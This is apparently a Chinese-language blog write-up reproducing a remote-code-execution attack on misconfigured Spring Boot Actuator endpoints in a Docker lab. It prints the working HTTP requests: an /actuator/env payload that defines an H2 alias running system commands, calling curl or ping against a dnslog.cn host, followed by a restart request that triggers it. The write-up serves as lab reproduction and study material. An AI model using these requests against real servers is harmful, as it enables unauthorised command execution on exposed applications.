Spring Boot Actuator H2 RCE復現
阿新 • • 發佈:2020-12-09
0x01 前言
Spring Boot框架是最流行的基於Java的微服務框架之一,可幫助開發人員快速輕鬆地部署Java應用程式,加快開發過程。當Spring Boot Actuator配置不當可能造成多種RCE,因為Spring Boot 2.x預設使用HikariCP資料庫連線池,所以可通過H2資料庫實現RCE。
0x02 環境搭建
windows10 IP:192.168.233.1
centos7 IP:192.168.233.140
CentOS docker環境下載地址
git clone https://github.com/spaceraccoon/spring-boot-actuator-h2-rce.git
使用Docker搭建環境
從Dockerfile中建立映象
docker build -t spaceraccoon/spring-boot-rce-lab .
啟動docker中springboot映象
docker run -p 8080:8080 -t spaceraccoon/spring-boot-rce-lab
本地訪問虛擬機器8080埠/actuator路徑,docker環境搭建成功
http://192.168.233.140:8080/actuator
0x03 漏洞復現
1.提交POST請求,請求頭內容為必須攜帶內容
POST /actuator/env HTTP/1.1 Host: 192.168.222.143:8080 Content-Type: application/json Content-Length: 393 {"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL EXEC('curl 11od6s.dnslog.cn');"}
2.向端點 /actuator/restart 傳送POST請求,重啟應用
POST /actuator/restart HTTP/1.1
Host: 192.168.222.143:8080
Content-Type: application/json
Content-Length: 2
{}
3.dnslog.cn收到請求
0x04 結束語
細心的小夥伴肯定也看到了,我最後截圖中的dnslog和測試時候的dnslog地址不一樣,是因為在使用curl命令的時候測試失敗了,可能是因為Linux中的原因,於是我把命令換成了ping -c xxx.dnslog.cn
,大家復現失敗記得換一下命令哦
ping xxx.dnslog.cn